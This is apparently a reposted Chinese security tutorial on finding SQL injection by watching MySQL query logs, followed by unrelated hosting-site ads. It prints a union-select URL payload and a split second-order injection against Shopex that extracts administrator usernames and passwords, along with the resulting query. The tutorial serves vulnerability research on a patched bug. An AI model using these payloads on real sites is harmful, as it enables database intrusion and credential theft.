黑盒审计之注入漏洞挖掘思路

一、注入漏洞简介

注入漏洞是web应用中最常见的安全漏洞之一,由于一些程序没有过滤用户的输入,攻击者通过向服务器提交恶意的SQL查询语句,应用程序接收后错误的将攻击者的输入作为原始SQL查询语句的一部分执行,导致改变了程序原始的SQL查询逻辑,额外的执行了攻击者构造的SQL查询语句,从而导致注入漏洞的产生。

攻击者通过SQL注入可以从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作。常见的建站系统出现SQL注入漏洞风险概率是非常高的,而本文就SQL注入漏洞的挖掘方法和大家分享交流,其他web安全漏洞暂不做探讨。

二、漏洞挖掘思路

我们知道在源码审计中这样的SQL注入漏洞很容易被发现,但是对于我们这样不会代码审计又想要挖漏洞的小菜来说该怎么办?那就要讲究方法了,这里和大家分享下我平时挖掘漏洞的一些思路。

首先一个好的测试环境很重要,这样我们可以在短时间内准确的找出注入的位置。在挖注入漏洞之前我们开启MySQL查询日志功能,因为有没有注入的发生,日志里面都可以最直观的看到。

然后用某个文本查看软件看日志文件打开网站程序里面执行的SQL(我这里用的是Bare Tail)

 

 

接着就是找输入点了,这个是重点 (这个过程也要仔细观察mysql查询日志)。

有些输入点信息,程序没有过滤直接查询数据库,就造成了注入,

例如,我GET提交:http://localhost/index2.php?id=1a

在监控的MYSQL日志中跟随1a,此处出现id=1a,可以看出该处未作处理,

 

 

并且是一个整型变量,且在单引号外面,

那么我们提交一下URL即可注入,获取数据任意信息。http://localhost/index2.php?id=1%20union%20select%20user%28%29%20from%20user

 

 

实际的提交需要根据数据库中查询的语句来构造。

还有一种情况输入点的信息保存到数据库中,或者服务器的session中二次读取时未处理也可导致注入,这种二次注入很多都是不受单引号影响,所以相对来说好利用,危害也是非常大,在mysql日志中跟随输入点的信息,这时一定要仔细调试,一旦出现该信息,我们可以看出是否可利用,根据相关情况构造注入语句。

三、Shopex漏洞实例

以shopex漏洞挖掘为例,shopex为部分源码加密,解密较为繁琐,涉及文件太多,进行代码审计需要耗费很多时间,然而利用上面的方法即可轻松找出漏洞。

打开网站,登录后我们随便来到一个产品页面,点击收藏该产品的时候,查看post的信息,其中的75是我们产品的ID,该处也是个输入点。

 

 

我们将其改为74a在提交一次试试,跟随SQL日志,可以看到其执行的语句为。

 

 

可以看到该处是没有经过过滤的,74a已经成功写入数据库了,如果二次取出时也没有过滤将造成注入,我们再来到会员中心页面,该处会在正常操作下显示我们收藏商品。

 

 

此时查看数据库执行日志发现74a已经出现了,由此可以判断该处存在二次注入。

由于这里是组合而成的,我们构造好注入语句然后拆分提交,即可绕过首页的过滤

http://localhost/index.php?member-SQL-ajaxAddFav.html

我们将上面的SQL替换成以下信息,分三次提交:

0)/**/union/**
**/select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**
**/from sdb_operatorslimit 1%23

来到会员中心页面在产品收藏处可以看到管理员信息。

 

 

观察数据库日志可以看到此时执行的SQL语句为

Query SELECT aGoods.*,aGimage.thumbnail FROM sdb_goods as aGoods left joinsdb_gimages as aGimage on aGoods.image_default=aGimage.gimage_id WHEREaGoods.goods_id IN (0)/**/union/**,**/select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**,**/fromsdb_operators limit 1#) LIMIT 0, 10

补丁地址:http://bbs.shopex.cn/read.php?tid-308423.html

四、总结

这个半黑盒测试的流程是:

开启查询日志——查找输入点——-跟随输入信息——–是否可利用——-构造注入语句

此过程中的重点就是找输入点和跟随输入信息。

输入点是我们实施注入的入口点,我们必须有效控制这些才能实现注入,这些输入点可以包含其中一些:

1)表单提交,主要是POST请求,也包括GET请求。

2)URL参数提交,主要为GET请求参数。

3)Cookie参数提交。

4)HTTP请求头部的一些可修改的值,比如Referer、User_Agent等。

5)一些边缘的输入点,比如.jpg文件的一些文件信息等。

有些程序采用了一些错误处理,就算SQL查询语句出错了也是没有任何报错的,这个时候我们只能通过监视SQL查询日志来判断了,一旦有注入漏洞的产生这里将是最先看到。

熟练运用该方法基本可以找到程序中所有的注入漏洞,且不需要太懂代码,要得只是耐心和细心

 

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/147317.html<

(0)
管理的头像管理
上一篇2025-03-11 12:09
下一篇 2025-03-11 12:10

相关推荐

  • 云服务器和云虚拟主机怎么选?云服务器和虚拟主机区别

    云服务器适合业务增长快、需弹性扩展的场景,而云虚拟主机适合预算有限、技术门槛低的小型静态网站或测试环境,二者核心区别在于资源独享性与运维复杂度,核心差异解析:从底层架构到使用体验很多人容易混淆这两者,觉得它们都是“买空间建站”,它们的底层逻辑完全不同,云服务器(ECS)就像是你租了一整栋别墅,水电网络独立,你想……

    2026-06-29
    0
  • 赣州智慧旅游招聘是真的吗?赣州旅游人才招聘信息

    中级岗位(3-5年经验)月薪范围通常在6000-10000元,这类岗位需要独立负责项目模块,如独立运营一个抖音账号,或维护一个景区小程序的功能迭代,具备成功案例的候选人议价能力较强,高级岗位(5年以上经验)月薪范围通常在10000-20000元,部分核心管理岗可达更高,这类人才需要具备战略规划能力,如制定整个景……

    2026-06-29
    0
  • 赣州智能物联网车位锁如何管理?智能车位锁管理系统多少钱

    赣州智能物联网车位锁管理的核心在于通过云端平台实现远程控锁、状态实时监控及自动计费,彻底解决传统车位“被占难管”与“找位难”的痛点,在赣州这样的城市,随着机动车保有量的持续增长,老旧小区、商业综合体以及私人固定车位的资源矛盾日益凸显,传统的机械地锁或简易遥控锁,不仅操作繁琐,更无法实现数据化管理,引入智能物联网……

    2026-06-29
    0
  • 赣州智能消防栓好用吗,智能消防栓多少钱一个

    赣州智能消防栓通过物联网技术实现实时监测与远程报警,能显著降低火灾响应时间并提升城市消防安全管理水平,是目前智慧城市建设中不可或缺的基础设施,赣州智能消防栓的核心价值与应用场景传统消防栓往往存在“看不见、摸不着、用不了”的痛点,在赣州这样地形复杂、老城区与新城区并存的区域,传统设施的管理难度极大,智能消防栓的出……

    2026-06-29
    0
  • 云服务器和物理机到底有啥区别?

    云服务器本质上是虚拟化资源池中的弹性实例,而传统物理服务器是独占的硬件实体,前者胜在弹性与运维便捷,后者强在物理隔离与性能稳定,具体选择取决于业务对成本、扩展性及安全合规的权衡,很多人初次接触服务器时,容易把“云服务器”和“传统物理服务器”混为一谈,觉得它们都是用来跑网站或存数据的盒子,这两者的底层逻辑完全不同……

    2026-06-29
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注